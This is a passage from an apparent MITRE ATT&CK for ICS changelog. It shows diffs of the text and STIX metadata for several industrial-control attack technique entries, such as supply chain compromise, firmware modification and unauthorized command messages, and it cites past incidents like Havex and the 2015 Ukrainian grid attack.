| > | versary compromise of these products and mechanisms is done | > | versary compromise of these products and mechanisms is done | ||
| > | for the goal of data or system compromise, once infected pro | > | for the goal of data or system compromise, once infected pro | ||
| > | ducts are introduced to the target environment. Supply cha | > | ducts are introduced to the target environment. Supply cha | ||
| > | in compromise can occur at all stages of the supply chain, f | > | in compromise can occur at all stages of the supply chain, f | ||
| > | rom manipulation of development tools and environments to ma | > | rom manipulation of development tools and environments to ma | ||
| > | nipulation of developed products and tools distribution mech | > | nipulation of developed products and tools distribution mech | ||
| > | anisms. This may involve the compromise and replacement of l | > | anisms. This may involve the compromise and replacement of l | ||
| > | egitimate software and patches, such as on third party or ve | > | egitimate software and patches, such as on third party or ve | ||
| > | ndor websites. Targeting of supply chain compromise can be d | > | ndor websites. Targeting of supply chain compromise can be d | ||
| > | one in attempts to infiltrate the environments of a specific | > | one in attempts to infiltrate the environments of a specific | ||
| > | audience. In control systems environments with assets in bo | > | audience. In control systems environments with assets in bo | ||
| > | th the IT and OT networks, it is possible a supply chain com | > | th the IT and OT networks, it is possible a supply chain com | ||
| > | promise affecting the IT environment could enable further ac | > | promise affecting the IT environment could enable further ac | ||
| > | cess to the OT environment. F-Secure Labs analyzed the app | > | cess to the OT environment. Counterfeit devices may be int | ||
| > | roach the adversary used to compromise victim systems with H | > | roduced to the global supply chain posing safety and cyber r | ||
| > | avex. (Citation: (Citation: Havex - F-Secure) - 201406) The | > | isks to asset owners and operators. These devices may not me | ||
| > | adversary planted trojanized software installers available | > | et the safety, engineering and manufacturing requirements of | ||
| > | on legitimate ICS/SCADA vendor websites. After being downloa | > | regulatory bodies but may feature tagging indicating confor | ||
| > | ded, this software infected the host computer with a Remote | > | mance with industry standards. Due to the lack of adherence | ||
| > | Access Trojan (RAT). | > | to standards and overall lesser quality, the counterfeit pro | ||
| > | ducts may pose a serious safety and operational risk. (Citat | ||||
| > | ion: Control Global May 2019) Yokogawa identified instance | ||||
| > | s in which their customers received counterfeit differential | ||||
| > | pressure transmitters using the Yokogawa logo. The counterf | ||||
| > | eit transmitters were nearly indistinguishable with a sembla | ||||
| > | nce of functionality and interface that mimics the genuine p | ||||
| > | roduct. (Citation: Control Global May 2019) F-Secure Labs | ||||
| > | analyzed the approach the adversary used to compromise victi | ||||
| > | m systems with Havex. (Citation: Daavid Hentunen, Antti Tikk | ||||
| > | anen June 2014) The adversary planted trojanized software in | ||||
| > | stallers available on legitimate ICS/SCADA vendor websites. | ||||
| > | After being downloaded, this software infected the host comp | ||||
| > | uter with a Remote Access Trojan (RAT). | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Web proxy', 'File monitoring', 'Detonation chamber', 'Digital signatures'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.983000+00:00 |
| description | Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: (Citation: Havex - F-Secure) - 201406) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT). | Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. Counterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk. (Citation: Control Global May 2019) Yokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product. (Citation: Control Global May 2019) F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: Daavid Hentunen, Antti Tikkanen June 2014) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT). |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T862 | https://attack.mitre.org/techniques/T0862 |
| external_references[1]['source_name'] | Havex - F-Secure - 201406 | Control Global May 2019 |
| external_references[1]['description'] | F-Secure Labs. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved October 21, 2019. | Control Global 2019, May 29 Yokogawa announcement warns of counterfeit transmitters Retrieved. 2021/04/09 |
| external_references[1]['url'] | https://www.f-secure.com/weblog/archives/00002718.html | https://www.controlglobal.com/industrynews/2019/yokogawa-announcement-warns-of-counterfeit-transmitters/ |
| external_references[2]['source_name'] | Havex - F-Secure | Control Global May 2019 |
| external_references[2]['description'] | Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019. | Control Global 2019, May 29 Yokogawa announcement warns of counterfeit transmitters Retrieved. 2021/04/09 |
| external_references[2]['url'] | https://www.f-secure.com/weblog/archives/00002718.html | https://www.controlglobal.com/industrynews/2019/yokogawa-announcement-warns-of-counterfeit-transmitters/ |
| x_mitre_platforms[0] | Windows | Control Server |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Daavid Hentunen, Antti Tikkanen June 2014', 'description': 'Daavid Hentunen, Antti Tikkanen 2014, June 23 Havex Hunts For ICS/SCADA Systems Retrieved. 2019/04/01 ', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'} | |
| external_references | {'source_name': 'F-Secure Labs June 2014', 'description': 'F-Secure Labs 2014, June 23 Havex Hunts For ICS/SCADA Systems Retrieved. 2019/10/21 ', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'} | |
| x_mitre_platforms | Data Historian | |
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Human-Machine Interface | |
| x_mitre_platforms | Input/Output Server | |
| x_mitre_platforms | Safety Instrumented System/Protection Relay |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | System firmware on modern assets is often designed with an u | t | 1 | System firmware on modern assets is often designed with an u |
| > | pdate feature. Older device firmware may be factory installe | > | pdate feature. Older device firmware may be factory installe | ||
| > | d and require special reprograming equipment. When available | > | d and require special reprograming equipment. When available | ||
| > | , the firmware update feature enables vendors to remotely pa | > | , the firmware update feature enables vendors to remotely pa | ||
| > | tch bugs and perform upgrades. Device firmware updates are o | > | tch bugs and perform upgrades. Device firmware updates are o | ||
| > | ften delegated to the user and may be done using a software | > | ften delegated to the user and may be done using a software | ||
| > | update package. It may also be possible to perform this task | > | update package. It may also be possible to perform this task | ||
| > | over the network. An adversary may exploit the firmware up | > | over the network. An adversary may exploit the firmware up | ||
| > | date feature on accessible devices to upload malicious or ou | > | date feature on accessible devices to upload malicious or ou | ||
| > | t-of-date firmware. Malicious modification of device firmwar | > | t-of-date firmware. Malicious modification of device firmwar | ||
| > | e may provide an adversary with root access to a device, giv | > | e may provide an adversary with root access to a device, giv | ||
| > | en firmware is one of the lowest programming abstraction lay | > | en firmware is one of the lowest programming abstraction lay | ||
| > | ers. (Citation: Research - Firmware Modification) In the 20 | > | ers. (Citation: Basnight, Zachry, et al.) | ||
| > | 15 attack on the Ukranian power grid, the adversaries gained | ||||
| > | access to the control networks of three different energy co | ||||
| > | mpanies. The adversaries developed malicious firmware for th | ||||
| > | e serial-to-ethernet devices which rendered them inoperable | ||||
| > | and severed connections between the control center and the s | ||||
| > | ubstation. (Citation: Ukraine15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.984000+00:00 |
| description | System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers. (Citation: Research - Firmware Modification) In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries developed malicious firmware for the serial-to-ethernet devices which rendered them inoperable and severed connections between the control center and the substation. (Citation: Ukraine15 - EISAC - 201603) | System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers. (Citation: Basnight, Zachry, et al.) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T857 | https://attack.mitre.org/techniques/T0857 |
| external_references[1]['source_name'] | Research - Firmware Modification | Basnight, Zachry, et al. |
| external_references[1]['description'] | Basnight, Zachry, et al.. (n.d.). Retrieved October 17, 2017. | Basnight, Zachry, et al. 2013 Retrieved. 2017/10/17 |
| x_mitre_data_sources[0] | Alarm history | Firmware: Firmware Modification |
| x_mitre_data_sources[1] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'} | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may steal operational information on a productio | t | 1 | Adversaries may steal operational information on a productio |
| > | n environment as a direct mission outcome for personal gain | > | n environment as a direct mission outcome for personal gain | ||
| > | or to inform future operations. This information may include | > | or to inform future operations. This information may include | ||
| > | design documents, schedules, rotational data, or similar ar | > | design documents, schedules, rotational data, or similar ar | ||
| > | tifacts that provide insight on operations. In the Bowman | > | tifacts that provide insight on operations. In the Bowman | ||
| > | Dam incident, adversaries probed systems for operational dat | > | Dam incident, adversaries probed systems for operational da | ||
| > | a. (Citation: Bowman Dam - Times) (Citation: Bowman Dam - wa | > | ta. (Citation: Mark Thompson March 2016) (Citation: Danny Ya | ||
| > | ll street journal) | > | dron December 2015) | ||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.985000+00:00 |
| description | Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. In the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Bowman Dam - Times) (Citation: Bowman Dam - wall street journal) | Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. In the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Mark Thompson March 2016) (Citation: Danny Yadron December 2015) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T882 | https://attack.mitre.org/techniques/T0882 |
| external_references[1]['source_name'] | Bowman Dam - Times | Mark Thompson March 2016 |
| external_references[1]['description'] | Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019. | Mark Thompson 2016, March 24 Iranian Cyber Attack on New York Dam Shows Future of War Retrieved. 2019/11/07 |
| external_references[2]['source_name'] | Bowman Dam - wall street journal | Danny Yadron December 2015 |
| external_references[2]['description'] | Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019. | Danny Yadron 2015, December 20 Iranian Hackers Infiltrated New York Dam in 2013 Retrieved. 2019/11/07 |
| x_mitre_platforms[0] | Windows | None |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send unauthorized command messages to instru | t | 1 | Adversaries may send unauthorized command messages to instru |
| > | ct control systems devices to perform actions outside their | > | ct control system assets to perform actions outside of their | ||
| > | expected functionality for process control. Command messages | > | intended functionality, or without the logical precondition | ||
| > | are used in ICS networks to give direct instructions to con | > | s to trigger their expected function. Command messages are u | ||
| > | trol systems devices. If an adversary can send an unauthoriz | > | sed in ICS networks to give direct instructions to control s | ||
| > | ed command message to a control system, then it can instruct | > | ystems devices. If an adversary can send an unauthorized com | ||
| > | the control systems device to perform an action outside the | > | mand message to a control system, then it can instruct the c | ||
| > | normal bounds of the device's actions. An adversary could p | > | ontrol systems device to perform an action outside the norma | ||
| > | otentially instruct a control systems device to perform an a | > | l bounds of the device's actions. An adversary could potenti | ||
| > | ction that will cause an Impact. (Citation: Research - Resea | > | ally instruct a control systems device to perform an action | ||
| > | rch - Taxonomy Cyber Attacks on SCADA) In the Maroochy Atta | > | that will cause an [Impact](https://attack.mitre.org/tactics | ||
| > | ck, the adversary used a dedicated analog two-way radio syst | > | /TA0105). (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sas | ||
| > | em to send false data and instructions to pumping stations a | > | try 2011) In the Maroochy Attack, the adversary used a d | ||
| > | nd the central computer. (Citation: Maroochy - MITRE - 20080 | > | edicated analog two-way radio system to send false data and | ||
| > | 8) In the 2015 attack on the Ukranian power grid, the adver | > | instructions to pumping stations and the central computer. ( | ||
| > | saries gained access to the control networks of three differ | > | Citation: Marshall Abrams July 2008) In the Dallas Siren | ||
| > | ent energy companies. The adversaries used valid credentials | > | incident, adversaries were able to send command messages to | ||
| > | to seize control of operator workstations and access a dist | > | activate tornado alarm systems across the city without an im | ||
| > | ribution management system (DMS) client application via a VP | > | pending tornado or other disaster. (Citation: Zack Whittaker | ||
| > | N. The adversaries used these tools to issue unauthorized co | > | April 2017) (Citation: Benjamin Freed March 2019) | ||
| > | mmands to breakers at substations which caused a loss of pow | ||||
| > | er to over 225,000 customers over various areas. (Citation: | ||||
| > | Ukraine15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_detection | ||
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_is_subtechnique | False | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-24 12:18:48.810000+00:00 |
| description | Adversaries may send unauthorized command messages to instruct control systems devices to perform actions outside their expected functionality for process control. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries used valid credentials to seize control of operator workstations and access a distribution management system (DMS) client application via a VPN. The adversaries used these tools to issue unauthorized commands to breakers at substations which caused a loss of power to over 225,000 customers over various areas. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an [Impact](https://attack.mitre.org/tactics/TA0105). (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Marshall Abrams July 2008) In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. (Citation: Zack Whittaker April 2017) (Citation: Benjamin Freed March 2019) |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T855 | https://attack.mitre.org/techniques/T0855 |
| external_references[1]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | Benjamin Freed March 2019 |
| external_references[1]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Benjamin Freed 2019, March 13 Tornado sirens in Dallas suburbs deactivated after being hacked and set off Retrieved. 2020/11/06 |
| external_references[1]['url'] | http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258 | https://statescoop.com/tornado-sirens-in-dallas-suburbs-deactivated-after-being-hacked-and-set-off/ |
| external_references[2]['source_name'] | Ukraine15 - EISAC - 201603 | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 |
| external_references[2]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 A Taxonomy of Cyber Attacks on SCADA Systems Retrieved. 2018/01/12 |
| external_references[2]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258 |
| external_references[3]['source_name'] | Maroochy - MITRE - 200808 | Marshall Abrams July 2008 |
| external_references[3]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[3]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Netflow/Enclave netflow | Operational Databases: Process History/Live Data |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process/Event Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Zack Whittaker April 2017', 'description': "Zack Whittaker 2017, April 12 Dallas' emergency sirens were hacked with a rogue radio signal Retrieved. 2020/11/06 ", 'url': 'https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may rely on a targeted organizations’ user inter | t | 1 | Adversaries may rely on a targeted organizations user intera |
| > | action for the execution of malicious code. User interaction | > | ction for the execution of malicious code. User interaction | ||
| > | may consist of installing applications, opening email attac | > | may consist of installing applications, opening email attach | ||
| > | hments, or granting higher permissions to documents. Adver | > | ments, or granting higher permissions to documents. Advers | ||
| > | saries may embed malicious code or visual basic code into fi | > | aries may embed malicious code or visual basic code into fil | ||
| > | les such as Microsoft Word and Excel documents or software i | > | es such as Microsoft Word and Excel documents or software in | ||
| > | nstallers. (Citation: BlackEnergy - Booz Allen Hamilton) Exe | > | stallers. (Citation: Booz Allen Hamilton) Execution of this | ||
| > | cution of this code requires that the user enable scripting | > | code requires that the user enable scripting or write access | ||
| > | or write access within the document. Embedded code may not a | > | within the document. Embedded code may not always be notice | ||
| > | lways be noticeable to the user especially in cases of troja | > | able to the user especially in cases of trojanized software. | ||
| > | nized software. (Citation: Havex - F-Secure) | > | (Citation: Daavid Hentunen, Antti Tikkanen June 2014) A Ch | ||
| > | inese spearphishing campaign running from December 9, 2011 t | ||||
| > | hrough February 29, 2012 delivered malware through spearphis | ||||
| > | hing attachments which required user action to achieve execu | ||||
| > | tion. (Citation: CISA AA21-201A Pipeline Intrusion July 2021 | ||||
| > | ) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.991000+00:00 |
| description | Adversaries may rely on a targeted organizations’ user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure) | Adversaries may rely on a targeted organizations user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Daavid Hentunen, Antti Tikkanen June 2014) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution. (Citation: CISA AA21-201A Pipeline Intrusion July 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T863 | https://attack.mitre.org/techniques/T0863 |
| external_references[1]['source_name'] | BlackEnergy - Booz Allen Hamilton | Booz Allen Hamilton |
| external_references[1]['description'] | Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019. | Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 |
| external_references[2]['source_name'] | Havex - F-Secure | Daavid Hentunen, Antti Tikkanen June 2014 |
| external_references[2]['description'] | Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019. | Daavid Hentunen, Antti Tikkanen 2014, June 23 Havex Hunts For ICS/SCADA Systems Retrieved. 2019/04/01 |
| x_mitre_data_sources[0] | Anti-virus | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA AA21-201A Pipeline Intrusion July 2021', 'description': 'Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) 2021, July 20 Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013 Retrieved. 2021/10/08 ', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may steal the credentials of a specific user or | t | 1 | Adversaries may steal the credentials of a specific user or |
| > | service account using credential access techniques. In some | > | service account using credential access techniques. In some | ||
| > | cases, default credentials for control system devices may be | > | cases, default credentials for control system devices may be | ||
| > | publicly available. Compromised credentials may be used to | > | publicly available. Compromised credentials may be used to | ||
| > | bypass access controls placed on various resources on hosts | > | bypass access controls placed on various resources on hosts | ||
| > | and within the network, and may even be used for persistent | > | and within the network, and may even be used for persistent | ||
| > | access to remote systems. Compromised and default credential | > | access to remote systems. Compromised and default credential | ||
| > | s may also grant an adversary increased privilege to specifi | > | s may also grant an adversary increased privilege to specifi | ||
| > | c systems and devices or access to restricted areas of the n | > | c systems and devices or access to restricted areas of the n | ||
| > | etwork. Adversaries may choose not to use malware or tools, | > | etwork. Adversaries may choose not to use malware or tools, | ||
| > | in conjunction with the legitimate access those credentials | > | in conjunction with the legitimate access those credentials | ||
| > | provide, to make it harder to detect their presence or to co | > | provide, to make it harder to detect their presence or to co | ||
| > | ntrol devices and send legitimate commands in an unintended | > | ntrol devices and send legitimate commands in an unintended | ||
| > | way. Adversaries may also create acc | > | way. Adversaries may also create accounts, sometimes using | ||
| > | ounts, sometimes using predefined account names and password | > | predefined account names and passwords, to provide a means | ||
| > | s, to provide a means of backup access for persistence. (Cit | > | of backup access for persistence. (Citation: Booz Allen Hami | ||
| > | ation: BlackEnergy - Booz Allen Hamilton) | > | lton) The overlap of credentials and permissions across a | ||
| > | The overlap of credentials and permissions across a net | > | network of systems is of concern because the adversary may b | ||
| > | work of systems is of concern because the adversary may be a | > | e able to pivot across accounts and systems to reach a high | ||
| > | ble to pivot across accounts and systems to reach a high lev | > | level of access (i.e., domain or enterprise administrator) | ||
| > | el of access (i.e., domain or enterprise administrator) and | > | and possibly between the enterprise and operational technolo | ||
| > | possibly between the enterprise and operational technology | > | gy environments. Adversaries may be able to leverage valid c | ||
| > | environments. Adversaries may be able to leverage valid cred | > | redentials from one system to gain access to another system. | ||
| > | entials from one system to gain access to another system. I | ||||
| > | n the 2015 attack on the Ukranian power grid, the adversarie | ||||
| > | s used valid credentials to interact directly with the clien | ||||
| > | t application of the distribution management system (DMS) se | ||||
| > | rver via a VPN and native remote access services to access e | ||||
| > | mployee workstations hosting HMI applications. (Citation: Uk | ||||
| > | raine15 - EISAC - 201603) The adversaries caused outages at | ||||
| > | three different energy companies, causing loss of power to o | ||||
| > | ver 225,000 customers over various areas. (Citation: Ukraine | ||||
| > | 15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_detection | ||
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_is_subtechnique | False | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-24 11:56:16.241000+00:00 |
| description | Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. (Citation: BlackEnergy - Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. In the 2015 attack on the Ukranian power grid, the adversaries used valid credentials to interact directly with the client application of the distribution management system (DMS) server via a VPN 